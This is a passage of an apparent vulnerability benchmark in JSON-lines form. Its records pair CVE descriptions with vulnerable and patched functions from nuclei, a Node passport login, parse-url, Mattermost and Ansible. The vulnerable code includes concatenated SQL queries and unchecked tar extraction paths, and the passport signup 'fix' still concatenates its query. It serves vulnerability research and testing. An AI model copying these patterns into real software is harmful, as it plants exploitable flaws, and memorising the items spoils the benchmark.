err)\n\t\t\tcontinue\n\t\t}\n\t\tif template.Executer == nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: no executer found\\n\", path)\n\t\t\tcontinue\n\t\t}\n\t\tworkflowTemplates = append(workflowTemplates, template)\n\t}\n\n\tfinalTemplates, _ := ClusterTemplates(workflowTemplates, options.Copy())\n\tfor _, template := range finalTemplates {\n\t\tworkflow.Executers = append(workflow.Executers, &workflows.ProtocolExecuterPair{\n\t\t\tExecuter:     template.Executer,\n\t\t\tOptions:      options,\n\t\t\tTemplateType: template.Type(),\n\t\t})\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_152_1", "commit": "e86f382", "file_path": "pkg/templates/workflows.go", "start_line": 58, "end_line": 106, "snippet": "func parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, preprocessor Preprocessor, options *protocols.ExecutorOptions, loader model.WorkflowLoader, noValidate bool) error {\n\tvar paths []string\n\n\tsubTemplateTags := workflow.Tags\n\tif !subTemplateTags.IsEmpty() {\n\t\tpaths = loader.GetTemplatePathsByTags(subTemplateTags.ToSlice())\n\t} else {\n\t\tpaths = loader.GetTemplatePaths([]string{workflow.Template}, noValidate)\n\t}\n\tif len(paths) == 0 {\n\t\treturn nil\n\t}\n\n\tvar workflowTemplates []*Template\n\n\tfor _, path := range paths {\n\t\ttemplate, err := Parse(path, preprocessor, options.Copy())\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: %v\\n\", path, err)\n\t\t\tcontinue\n\t\t}\n\t\tif template.Executer == nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: no executer found\\n\", path)\n\t\t\tcontinue\n\t\t}\n\t\tif len(template.RequestsCode) > 0 {\n\t\t\tif !options.Options.EnableCodeTemplates {\n\t\t\t\tgologger.Warning().Msgf(\"`-code` flag not found, skipping code template from workflow: %v\\n\", path)\n\t\t\t\tcontinue\n\t\t\t} else if !template.Verified {\n\t\t\t\t// unverfied code templates are not allowed in workflows\n\t\t\t\tgologger.Warning().Msgf(\"skipping unverified code template from workflow: %v\\n\", path)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tworkflowTemplates = append(workflowTemplates, template)\n\t}\n\n\tfinalTemplates, _ := ClusterTemplates(workflowTemplates, options.Copy())\n\tfor _, template := range finalTemplates {\n\t\tworkflow.Executers = append(workflow.Executers, &workflows.ProtocolExecuterPair{\n\t\t\tExecuter:     template.Executer,\n\t\t\tOptions:      options,\n\t\t\tTemplateType: template.Type(),\n\t\t})\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/templates/workflows.go\n+++ b/pkg/templates/workflows.go\n@@ -23,6 +23,16 @@\n \t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: no executer found\\n\", path)\n \t\t\tcontinue\n \t\t}\n+\t\tif len(template.RequestsCode) > 0 {\n+\t\t\tif !options.Options.EnableCodeTemplates {\n+\t\t\t\tgologger.Warning().Msgf(\"`-code` flag not found, skipping code template from workflow: %v\\n\", path)\n+\t\t\t\tcontinue\n+\t\t\t} else if !template.Verified {\n+\t\t\t\t// unverfied code templates are not allowed in workflows\n+\t\t\t\tgologger.Warning().Msgf(\"skipping unverified code template from workflow: %v\\n\", path)\n+\t\t\t\tcontinue\n+\t\t\t}\n+\t\t}\n \t\tworkflowTemplates = append(workflowTemplates, template)\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-4290", "cve_description": "A vulnerability was found in DHBW Fallstudie. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file app/config/passport.js of the component Login. The manipulation of the argument id/email leads to sql injection. The name of the patch is 5c13c6a972ef4c07c5f35b417916e0598af9e123. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216907.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/maboehm/fallstudie", "patch_url": ["https://github.com/maboehm/fallstudie/commit/5c13c6a972ef4c07c5f35b417916e0598af9e123"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_116_1", "commit": "6de6922", "file_path": "app/config/passport.js", "start_line": 13, "end_line": 106, "snippet": "module.exports = function (passport) {\n\n    // =========================================================================\n    // passport session setup ==================================================\n    // =========================================================================\n    // required for persistent login sessions\n    // passport needs ability to serialize and unserialize users out of session\n\n    // used to serialize the user for the session\n    passport.serializeUser(function (user, done) {\n        done(null, user.id);\n    });\n\n    // used to deserialize the user\n    passport.deserializeUser(function (id, done) {\n        connection.query(\"select * from users where id = \" + id, function (err, rows) {\n            done(err, rows[0]);\n        });\n    });\n\n\n    // =========================================================================\n    // LOCAL SIGNUP ============================================================\n    // =========================================================================\n    // we are using named strategies since we have one for login and one for signup\n    // by default, if there was no name, it would just be called 'local'\n\n    passport.use('local-signup', new LocalStrategy({\n            // by default, local strategy uses username and password, we will override with email\n            usernameField: 'email',\n            passwordField: 'password',\n            passReqToCallback: true // allows us to pass back the entire request to the callback\n        },\n        function (req, email, password, done) {\n            // find a user whose email is the same as the forms email\n            // we are checking to see if the user trying to login already exists\n            connection.query(\"select * from users where email = '\" + email + \"'\", function (err, rows) {\n                if (err) {return done(err);}\n                if (rows.length) {\n                    req.signUpMessage = 'Diese e-Mail ist bei uns bereits registriert';\n                    return done(null, false);\n                } else {\n\n                    // if there is no user with that email\n                    // create the user\n                    var newUserMysql = {};\n                    newUserMysql.title = req.body.title;\n                    newUserMysql.email = email;\n                    newUserMysql.firstName = req.body.firstName;\n                    newUserMysql.lastName = req.body.lastName;\n                    newUserMysql.password = passwordHash.generate(password);\n\n                    connection.query('INSERT INTO users SET ?', [newUserMysql], function (err, rows) {\n                        newUserMysql.id = rows.insertId;\n\n                        return done(null, newUserMysql);\n                    });\n                }\n            });\n        }));\n\n    // =========================================================================\n    // LOCAL LOGIN =============================================================\n    // =========================================================================\n    // we are using named strategies since we have one for login and one for signup\n    // by default, if there was no name, it would just be called 'local'\n\n    passport.use('local-login', new LocalStrategy({\n            // by default, local strategy uses username and password, we will override with email\n            usernameField: 'email',\n            passwordField: 'password',\n            passReqToCallback: true // allows us to pass back the entire request to the callback\n        },\n        function (req, email, password, done) { // callback with email and password from our form\n            connection.query(\"SELECT * FROM `users` WHERE `email` = '\" + email + \"'\", function (err, rows) {\n                if (err) {return done(err);}\n\n                if (!rows.length) {\n                    req.loginMessage='Die eingegebene E-Mail-Adresse oder das Passwort ist falsch.';\n                    return done(null, false);\n                }\n\n                // if the user is found but the password is wrong\n                if (!passwordHash.verify(password, rows[0].password)) {\n                    req.loginMessage = 'Die eingegebene E-Mail-Adresse oder das Passwort ist falsch.';\n                    return done(null, false);\n                }\n\n                // all is well, return successful user\n                return done(null, rows[0]);\n\n            });\n        }));\n};"}], "fix_func": [{"id": "fix_js_116_1", "commit": "5c13c6a", "file_path": "app/config/passport.js", "start_line": 13, "end_line": 106, "snippet": "module.exports = function (passport) {\n\n    // =========================================================================\n    // passport session setup ==================================================\n    // =========================================================================\n    // required for persistent login sessions\n    // passport needs ability to serialize and unserialize users out of session\n\n    // used to serialize the user for the session\n    passport.serializeUser(function (user, done) {\n        done(null, user.id);\n    });\n\n    // used to deserialize the user\n    passport.deserializeUser(function (id, done) {\n        connection.query(\"select * from users where id = ?\", [id], function (err, rows) {\n            done(err, rows[0]);\n        });\n    });\n\n\n    // =========================================================================\n    // LOCAL SIGNUP ============================================================\n    // =========================================================================\n    // we are using named strategies since we have one for login and one for signup\n    // by default, if there was no name, it would just be called 'local'\n\n    passport.use('local-signup', new LocalStrategy({\n            // by default, local strategy uses username and password, we will override with email\n            usernameField: 'email',\n            passwordField: 'password',\n            passReqToCallback: true // allows us to pass back the entire request to the callback\n        },\n        function (req, email, password, done) {\n            // find a user whose email is the same as the forms email\n            // we are checking to see if the user trying to login already exists\n            connection.query(\"select * from users where email = ?\" + [email], function (err, rows) {\n                if (err) {return done(err);}\n                if (rows.length) {\n                    req.signUpMessage = 'Diese e-Mail ist bei uns bereits registriert';\n                    return done(null, false);\n                } else {\n\n                    // if there is no user with that email\n                    // create the user\n                    var newUserMysql = {};\n                    newUserMysql.title = req.body.title;\n                    newUserMysql.email = email;\n                    newUserMysql.firstName = req.body.firstName;\n                    newUserMysql.lastName = req.body.lastName;\n                    newUserMysql.password = passwordHash.generate(password);\n\n                    connection.query('INSERT INTO users SET ?', [newUserMysql], function (err, rows) {\n                        newUserMysql.id = rows.insertId;\n\n                        return done(null, newUserMysql);\n                    });\n                }\n            });\n        }));\n\n    // =========================================================================\n    // LOCAL LOGIN =============================================================\n    // =========================================================================\n    // we are using named strategies since we have one for login and one for signup\n    // by default, if there was no name, it would just be called 'local'\n\n    passport.use('local-login', new LocalStrategy({\n            // by default, local strategy uses username and password, we will override with email\n            usernameField: 'email',\n            passwordField: 'password',\n            passReqToCallback: true // allows us to pass back the entire request to the callback\n        },\n        function (req, email, password, done) { // callback with email and password from our form\n            connection.query(\"SELECT * FROM `users` WHERE `email` = ?\", [email], function (err, rows) {\n                if (err) {return done(err);}\n\n                if (!rows.length) {\n                    req.loginMessage='Die eingegebene E-Mail-Adresse oder das Passwort ist falsch.';\n                    return done(null, false);\n                }\n\n                // if the user is found but the password is wrong\n                if (!passwordHash.verify(password, rows[0].password)) {\n                    req.loginMessage = 'Die eingegebene E-Mail-Adresse oder das Passwort ist falsch.';\n                    return done(null, false);\n                }\n\n                // all is well, return successful user\n                return done(null, rows[0]);\n\n            });\n        }));\n};"}], "vul_patch": "--- a/app/config/passport.js\n+++ b/app/config/passport.js\n@@ -13,7 +13,7 @@\n \n     // used to deserialize the user\n     passport.deserializeUser(function (id, done) {\n-        connection.query(\"select * from users where id = \" + id, function (err, rows) {\n+        connection.query(\"select * from users where id = ?\", [id], function (err, rows) {\n             done(err, rows[0]);\n         });\n     });\n@@ -34,7 +34,7 @@\n         function (req, email, password, done) {\n             // find a user whose email is the same as the forms email\n             // we are checking to see if the user trying to login already exists\n-            connection.query(\"select * from users where email = '\" + email + \"'\", function (err, rows) {\n+            connection.query(\"select * from users where email = ?\" + [email], function (err, rows) {\n                 if (err) {return done(err);}\n                 if (rows.length) {\n                     req.signUpMessage = 'Diese e-Mail ist bei uns bereits registriert';\n@@ -72,7 +72,7 @@\n             passReqToCallback: true // allows us to pass back the entire request to the callback\n         },\n         function (req, email, password, done) { // callback with email and password from our form\n-            connection.query(\"SELECT * FROM `users` WHERE `email` = '\" + email + \"'\", function (err, rows) {\n+            connection.query(\"SELECT * FROM `users` WHERE `email` = ?\", [email], function (err, rows) {\n                 if (err) {return done(err);}\n \n                 if (!rows.length) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2900", "cve_description": "Server-Side Request Forgery (SSRF) in GitHub repository ionicabizau/parse-url prior to 8.1.0.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/ionicabizau/parse-url", "patch_url": ["https://github.com/ionicabizau/parse-url/commit/b88c81df8f4c5168af454eaa4f92afa9349e4e13"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_33_1", "commit": "e4968ff", "file_path": "lib/index.js", "start_line": 36, "end_line": 72, "snippet": "const parseUrl = (url, normalize = false) => {\n\n    // Constants\n    const GIT_RE = /(^(git@|http(s)?:\\/\\/)([\\w\\.\\-@]+)(\\/|:))(([\\~,\\.\\w,\\-,\\_,\\/]+)(.git){0,1}((\\/){0,1}))/\n\n    if (typeof url !== \"string\" || !url.trim()) {\n        const err = new Error(\"Invalid url.\")\n        err.subject_url = url\n        throw err\n    }\n\n    if (normalize) {\n        if (typeof normalize !== \"object\") {\n            normalize = {\n                stripHash: false\n            }\n        }\n        url = normalizeUrl(url, normalize)\n    }\n\n    const parsed = parsePath(url)\n\n    // Potential git-ssh urls\n    if (parsed.protocol === \"file\") {\n        const matched  = parsed.href.match(GIT_RE)\n        if (matched) {\n            parsed.protocols = [\"ssh\"]\n            parsed.protocol = \"ssh\"\n            parsed.resource = matched[4]\n            parsed.host = matched[4]\n            parsed.user = \"git\"\n            parsed.pathname = `/${matched[6]}`\n        }\n    }\n\n    return parsed;\n}"}], "fix_func": [{"id": "fix_js_33_1", "commit": "b88c81df8f4c5168af454eaa4f92afa9349e4e13", "file_path": "lib/index.js", "start_line": 37, "end_line": 84, "snippet": "const parseUrl = (url, normalize = false) => {\n\n    // Constants\n    const GIT_RE = /(^(git@|http(s)?:\\/\\/)([\\w\\.\\-@]+)(\\/|:))(([\\~,\\.\\w,\\-,\\_,\\/]+)(.git){0,1}((\\/){0,1}))/\n\n    const throwErr = msg => {\n        const err = new Error(msg)\n        err.subject_url = url\n        throw err\n    }\n\n    if (typeof url !== \"string\" || !url.trim()) {\n        throwErr(\"Invalid url.\")\n    }\n\n    if (url.length > parseUrl.MAX_INPUT_LENGTH) {\n        throwErr(\"Input exceeds maximum length. If needed, change the value of parseUrl.MAX_INPUT_LENGTH.\")\n    }\n\n    if (normalize) {\n        if (typeof normalize !== \"object\") {\n            normalize = {\n                stripHash: false\n            }\n        }\n        url = normalizeUrl(url, normalize)\n    }\n\n    const parsed = parsePath(url)\n\n    // Potential git-ssh urls\n    if (parsed.parse_failed) {\n        const matched  = parsed.href.match(GIT_RE)\n        if (matched) {\n            parsed.protocols = [\"ssh\"]\n            parsed.protocol = \"ssh\"\n            parsed.resource = matched[4]\n            parsed.host = matched[4]\n            parsed.user = \"git\"\n            parsed.pathname = `/${matched[6]}`\n            parsed.parse_failed = false\n        } else {\n            throwErr(\"URL parsing failed.\")\n        }\n    }\n\n    return parsed;\n}"}, {"id": "fix_js_33_2", "commit": "b88c81df8f4c5168af454eaa4f92afa9349e4e13", "file_path": "lib/index.js", "start_line": 86, "end_line": 86, "snippet": "parseUrl.MAX_INPUT_LENGTH = 2048"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -3,10 +3,18 @@\n     // Constants\n     const GIT_RE = /(^(git@|http(s)?:\\/\\/)([\\w\\.\\-@]+)(\\/|:))(([\\~,\\.\\w,\\-,\\_,\\/]+)(.git){0,1}((\\/){0,1}))/\n \n-    if (typeof url !== \"string\" || !url.trim()) {\n-        const err = new Error(\"Invalid url.\")\n+    const throwErr = msg => {\n+        const err = new Error(msg)\n         err.subject_url = url\n         throw err\n+    }\n+\n+    if (typeof url !== \"string\" || !url.trim()) {\n+        throwErr(\"Invalid url.\")\n+    }\n+\n+    if (url.length > parseUrl.MAX_INPUT_LENGTH) {\n+        throwErr(\"Input exceeds maximum length. If needed, change the value of parseUrl.MAX_INPUT_LENGTH.\")\n     }\n \n     if (normalize) {\n@@ -21,7 +29,7 @@\n     const parsed = parsePath(url)\n \n     // Potential git-ssh urls\n-    if (parsed.protocol === \"file\") {\n+    if (parsed.parse_failed) {\n         const matched  = parsed.href.match(GIT_RE)\n         if (matched) {\n             parsed.protocols = [\"ssh\"]\n@@ -30,6 +38,9 @@\n             parsed.host = matched[4]\n             parsed.user = \"git\"\n             parsed.pathname = `/${matched[6]}`\n+            parsed.parse_failed = false\n+        } else {\n+            throwErr(\"URL parsing failed.\")\n         }\n     }\n \n\n--- /dev/null\n+++ b/lib/index.js\n@@ -0,0 +1 @@\n+parseUrl.MAX_INPUT_LENGTH = 2048\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-2900:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/parse-url\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-4105", "cve_description": "Mattermost fails to delete the attachments when deleting a message in a thread allowing a simple user to still be able to access and download the attachment of a deleted message\n\n", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/mattermost/mattermost", "patch_url": ["https://github.com/mattermost/mattermost/commit/a76c3c277fdb8317bca66860f35407a09e985cfc", "https://github.com/mattermost/mattermost/commit/3ba21fe0508b3a6a731acfefb2a621fb4d65e3e3", "https://github.com/mattermost/mattermost/commit/53d2ba001624e0e69c3df61e6d68f758ba869c97"], "programing_language": "Go", "vul_func": [{"id": "vul_go_230_1", "commit": "c48ab8f", "file_path": "store/sqlstore/post_store.go", "start_line": 2868, "end_line": 2884, "snippet": "func (s *SqlPostStore) deleteThread(transaction *sqlxTxWrapper, postId string, deleteAtTime int64) error {\n\tqueryString, args, err := s.getQueryBuilder().\n\t\tUpdate(\"Threads\").\n\t\tSet(\"ThreadDeleteAt\", deleteAtTime).\n\t\tWhere(sq.Eq{\"PostId\": postId}).\n\t\tToSql()\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to create SQL query to mark thread for root post %s as deleted\", postId)\n\t}\n\n\t_, err = transaction.Exec(queryString, args...)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to mark thread for root post %s as deleted\", postId)\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_230_1", "commit": "a76c3c277fdb8317bca66860f35407a09e985cfc", "file_path": "store/sqlstore/post_store.go", "start_line": 2868, "end_line": 2884, "snippet": "func (s *SqlPostStore) deleteThread(transaction *sqlxTxWrapper, postId string, deleteAtTime int64) error {\n\tqueryString, args, err := s.getQueryBuilder().\n\t\tUpdate(\"Threads\").\n\t\tSet(\"ThreadDeleteAt\", deleteAtTime).\n\t\tWhere(sq.Eq{\"PostId\": postId}).\n\t\tToSql()\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to create SQL query to mark thread for root post %s as deleted\", postId)\n\t}\n\n\t_, err = transaction.Exec(queryString, args...)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to mark thread for root post %s as deleted\", postId)\n\t}\n\n\treturn s.deleteThreadFiles(transaction, postId, deleteAtTime)\n}"}, {"id": "fix_go_230_2", "commit": "a76c3c277fdb8317bca66860f35407a09e985cfc", "file_path": "store/sqlstore/post_store.go", "start_line": 2886, "end_line": 2908, "snippet": "func (s *SqlPostStore) deleteThreadFiles(transaction *sqlxTxWrapper, postID string, deleteAtTime int64) error {\n\tvar query sq.UpdateBuilder\n\tif s.DriverName() == model.DatabaseDriverPostgres {\n\t\tquery = s.getQueryBuilder().Update(\"FileInfo\").\n\t\t\tSet(\"DeleteAt\", deleteAtTime).\n\t\t\tFrom(\"Posts\")\n\t} else {\n\t\tquery = s.getQueryBuilder().Update(\"FileInfo\", \"Posts\").\n\t\t\tSet(\"FileInfo.DeleteAt\", deleteAtTime)\n\t}\n\n\tquery = query.Where(sq.And{\n\t\tsq.Expr(\"FileInfo.PostId = Posts.Id\"),\n\t\tsq.Eq{\"Posts.RootId\": postID},\n\t})\n\n\t_, err := transaction.ExecBuilder(query)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to mark files of thread post %s as deleted\", postID)\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/store/sqlstore/post_store.go\n+++ b/store/sqlstore/post_store.go\n@@ -13,5 +13,5 @@\n \t\treturn errors.Wrapf(err, \"failed to mark thread for root post %s as deleted\", postId)\n \t}\n \n-\treturn nil\n+\treturn s.deleteThreadFiles(transaction, postId, deleteAtTime)\n }\n\n--- /dev/null\n+++ b/store/sqlstore/post_store.go\n@@ -0,0 +1,23 @@\n+func (s *SqlPostStore) deleteThreadFiles(transaction *sqlxTxWrapper, postID string, deleteAtTime int64) error {\n+\tvar query sq.UpdateBuilder\n+\tif s.DriverName() == model.DatabaseDriverPostgres {\n+\t\tquery = s.getQueryBuilder().Update(\"FileInfo\").\n+\t\t\tSet(\"DeleteAt\", deleteAtTime).\n+\t\t\tFrom(\"Posts\")\n+\t} else {\n+\t\tquery = s.getQueryBuilder().Update(\"FileInfo\", \"Posts\").\n+\t\t\tSet(\"FileInfo.DeleteAt\", deleteAtTime)\n+\t}\n+\n+\tquery = query.Where(sq.And{\n+\t\tsq.Expr(\"FileInfo.PostId = Posts.Id\"),\n+\t\tsq.Eq{\"Posts.RootId\": postID},\n+\t})\n+\n+\t_, err := transaction.ExecBuilder(query)\n+\tif err != nil {\n+\t\treturn errors.Wrapf(err, \"failed to mark files of thread post %s as deleted\", postID)\n+\t}\n+\n+\treturn nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-10691", "cve_description": "An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running ansible-galaxy collection install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/b2551bb6943eec078066aa3a923e0bb3ed85abe8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_25_1", "commit": "cef6296", "file_path": "lib/ansible/galaxy/collection.py", "start_line": 148, "end_line": 188, "snippet": "    def install(self, path, b_temp_path):\n        if self.skip:\n            display.display(\"Skipping '%s' as it is already installed\" % to_text(self))\n            return\n\n        # Install if it is not\n        collection_path = os.path.join(path, self.namespace, self.name)\n        b_collection_path = to_bytes(collection_path, errors='surrogate_or_strict')\n        display.display(\"Installing '%s:%s' to '%s'\" % (to_text(self), self.latest_version, collection_path))\n\n        if self.b_path is None:\n            download_url = self._metadata.download_url\n            artifact_hash = self._metadata.artifact_sha256\n            headers = {}\n            self.api._add_auth_token(headers, download_url, required=False)\n\n            self.b_path = _download_file(download_url, b_temp_path, artifact_hash, self.api.validate_certs,\n                                         headers=headers)\n\n        if os.path.exists(b_collection_path):\n            shutil.rmtree(b_collection_path)\n        os.makedirs(b_collection_path)\n\n        with tarfile.open(self.b_path, mode='r') as collection_tar:\n            files_member_obj = collection_tar.getmember('FILES.json')\n            with _tarfile_extract(collection_tar, files_member_obj) as files_obj:\n                files = json.loads(to_text(files_obj.read(), errors='surrogate_or_strict'))\n\n            _extract_tar_file(collection_tar, 'MANIFEST.json', b_collection_path, b_temp_path)\n            _extract_tar_file(collection_tar, 'FILES.json', b_collection_path, b_temp_path)\n\n            for file_info in files['files']:\n                file_name = file_info['name']\n                if file_name == '.':\n                    continue\n\n                if file_info['ftype'] == 'file':\n                    _extract_tar_file(collection_tar, file_name, b_collection_path, b_temp_path,\n                                      expected_hash=file_info['chksum_sha256'])\n                else:\n                    os.makedirs(os.path.join(b_collection_path, to_bytes(file_name, errors='surrogate_or_strict')))"}, {"id": "vul_py_25_2", "commit": "cef6296", "file_path": "lib/ansible/galaxy/collection.py", "start_line": 903, "end_line": 942, "snippet": "def _extract_tar_file(tar, filename, b_dest, b_temp_path, expected_hash=None):\n    n_filename = to_native(filename, errors='surrogate_or_strict')\n    try:\n        member = tar.getmember(n_filename)\n    except KeyError:\n        raise AnsibleError(\"Collection tar at '%s' does not contain the expected file '%s'.\" % (to_native(tar.name),\n                                                                                                n_filename))\n\n    with tempfile.NamedTemporaryFile(dir=b_temp_path, delete=False) as tmpfile_obj:\n        bufsize = 65536\n        sha256_digest = sha256()\n        with _tarfile_extract(tar, member) as tar_obj:\n            data = tar_obj.read(bufsize)\n            while data:\n                tmpfile_obj.write(data)\n                tmpfile_obj.flush()\n                sha256_digest.update(data)\n                data = tar_obj.read(bufsize)\n\n        actual_hash = sha256_digest.hexdigest()\n\n        if expected_hash and actual_hash != expected_hash:\n            raise AnsibleError(\"Checksum mismatch for '%s' inside collection at '%s'\"\n                               % (n_filename, to_native(tar.name)))\n\n        b_dest_filepath = os.path.join(b_dest, to_bytes(filename, errors='surrogate_or_strict'))\n        b_parent_dir = os.path.split(b_dest_filepath)[0]\n        if not os.path.exists(b_parent_dir):\n            # Seems like Galaxy does not validate if all file entries have a corresponding dir ftype entry. This check\n            # makes sure we create the parent directory even if it wasn't set in the metadata.\n            os.makedirs(b_parent_dir, mode=0o0755)\n\n        shutil.move(to_bytes(tmpfile_obj.name, errors='surrogate_or_strict'), b_dest_filepath)\n\n        # Default to rw-r--r-- and only add execute if the tar file has execute.\n        new_mode = 0o644\n        if stat.S_IMODE(member.mode) & stat.S_IXUSR:\n            new_mode |= 0o0111\n\n        os.chmod(b_dest_filepath, new_mode)"}], "fix_func": [{"id": "fix_py_25_1", "commit": "b2551bb6943eec078066aa3a923e0bb3ed85abe8", "file_path": "lib/ansible/galaxy/collection.py", "start_line": 148, "end_line": 198, "snippet": "    def install(self, path, b_temp_path):\n        if self.skip:\n            display.display(\"Skipping '%s' as it is already installed\" % to_text(self))\n            return\n\n        # Install if it is not\n        collection_path = os.path.join(path, self.namespace, self.name)\n        b_collection_path = to_bytes(collection_path, errors='surrogate_or_strict')\n        display.display(\"Installing '%s:%s' to '%s'\" % (to_text(self), self.latest_version, collection_path))\n\n        if self.b_path is None:\n            download_url = self._metadata.download_url\n            artifact_hash = self._metadata.artifact_sha256\n            headers = {}\n            self.api._add_auth_token(headers, download_url, required=False)\n\n            self.b_path = _download_file(download_url, b_temp_path, artifact_hash, self.api.validate_certs,\n                                         headers=headers)\n\n        if os.path.exists(b_collection_path):\n            shutil.rmtree(b_collection_path)\n        os.makedirs(b_collection_path)\n\n        try:\n            with tarfile.open(self.b_path, mode='r') as collection_tar:\n                files_member_obj = collection_tar.getmember('FILES.json')\n                with _tarfile_extract(collection_tar, files_member_obj) as files_obj:\n                    files = json.loads(to_text(files_obj.read(), errors='surrogate_or_strict'))\n\n                _extract_tar_file(collection_tar, 'MANIFEST.json', b_collection_path, b_temp_path)\n                _extract_tar_file(collection_tar, 'FILES.json', b_collection_path, b_temp_path)\n\n                for file_info in files['files']:\n                    file_name = file_info['name']\n                    if file_name == '.':\n                        continue\n\n                    if file_info['ftype'] == 'file':\n                        _extract_tar_file(collection_tar, file_name, b_collection_path, b_temp_path,\n                                          expected_hash=file_info['chksum_sha256'])\n                    else:\n                        os.makedirs(os.path.join(b_collection_path, to_bytes(file_name, errors='surrogate_or_strict')))\n        except Exception:\n            # Ensure we don't leave the dir behind in case of a failure.\n            shutil.rmtree(b_collection_path)\n\n            b_namespace_path = os.path.dirname(b_collection_path)\n            if not os.listdir(b_namespace_path):\n                os.rmdir(b_namespace_path)\n\n            raise"}, {"id": "fix_py_25_2", "commit": "b2551bb6943eec078066aa3a923e0bb3ed85abe8", "file_path": "lib/ansible/galaxy/collection.py", "start_line": 913, "end_line": 956, "snippet": "def _extract_tar_file(tar, filename, b_dest, b_temp_path, expected_hash=None):\n    n_filename = to_native(filename, errors='surrogate_or_strict')\n    try:\n        member = tar.getmember(n_filename)\n    except KeyError:\n        raise AnsibleError(\"Collection tar at '%s' does not contain the expected file '%s'.\" % (to_native(tar.name),\n                                                                                                n_filename))\n\n    with tempfile.NamedTemporaryFile(dir=b_temp_path, delete=False) as tmpfile_obj:\n        bufsize = 65536\n        sha256_digest = sha256()\n        with _tarfile_extract(tar, member) as tar_obj:\n            data = tar_obj.read(bufsize)\n            while data:\n                tmpfile_obj.write(data)\n                tmpfile_obj.flush()\n                sha256_digest.update(data)\n                data = tar_obj.read(bufsize)\n\n        actual_hash = sha256_digest.hexdigest()\n\n        if expected_hash and actual_hash != expected_hash:\n            raise AnsibleError(\"Checksum mismatch for '%s' inside collection at '%s'\"\n                               % (n_filename, to_native(tar.name)))\n\n        b_dest_filepath = os.path.abspath(os.path.join(b_dest, to_bytes(filename, errors='surrogate_or_strict')))\n        b_parent_dir = os.path.dirname(b_dest_filepath)\n        if b_parent_dir != b_dest and not b_parent_dir.startswith(b_dest + to_bytes(os.path.sep)):\n            raise AnsibleError(\"Cannot extract tar entry '%s' as it will be placed outside the collection directory\"\n                               % to_native(filename, errors='surrogate_or_strict'))\n\n        if not os.path.exists(b_parent_dir):\n            # Seems like Galaxy does not validate if all file entries have a corresponding dir ftype entry. This check\n            # makes sure we create the parent directory even if it wasn't set in the metadata.\n            os.makedirs(b_parent_dir, mode=0o0755)\n\n        shutil.move(to_bytes(tmpfile_obj.name, errors='surrogate_or_strict'), b_dest_filepath)\n\n        # Default to rw-r--r-- and only add execute if the tar file has execute.\n        new_mode = 0o644\n        if stat.S_IMODE(member.mode) & stat.S_IXUSR:\n            new_mode |= 0o0111\n\n        os.chmod(b_dest_filepath, new_mode)"}], "vul_patch": "--- a/lib/ansible/galaxy/collection.py\n+++ b/lib/ansible/galaxy/collection.py\n@@ -21,21 +21,31 @@\n             shutil.rmtree(b_collection_path)\n         os.makedirs(b_collection_path)\n \n-        with tarfile.open(self.b_path, mode='r') as collection_tar:\n-            files_member_obj = collection_tar.getmember('FILES.json')\n-            with _tarfile_extract(collection_tar, files_member_obj) as files_obj:\n-                files = json.loads(to_text(files_obj.read(), errors='surrogate_or_strict'))\n+        try:\n+            with tarfile.open(self.b_path, mode='r') as collection_tar:\n+                files_member_obj = collection_tar.getmember('FILES.json')\n+                with _tarfile_extract(collection_tar, files_member_obj) as files_obj:\n+                    files = 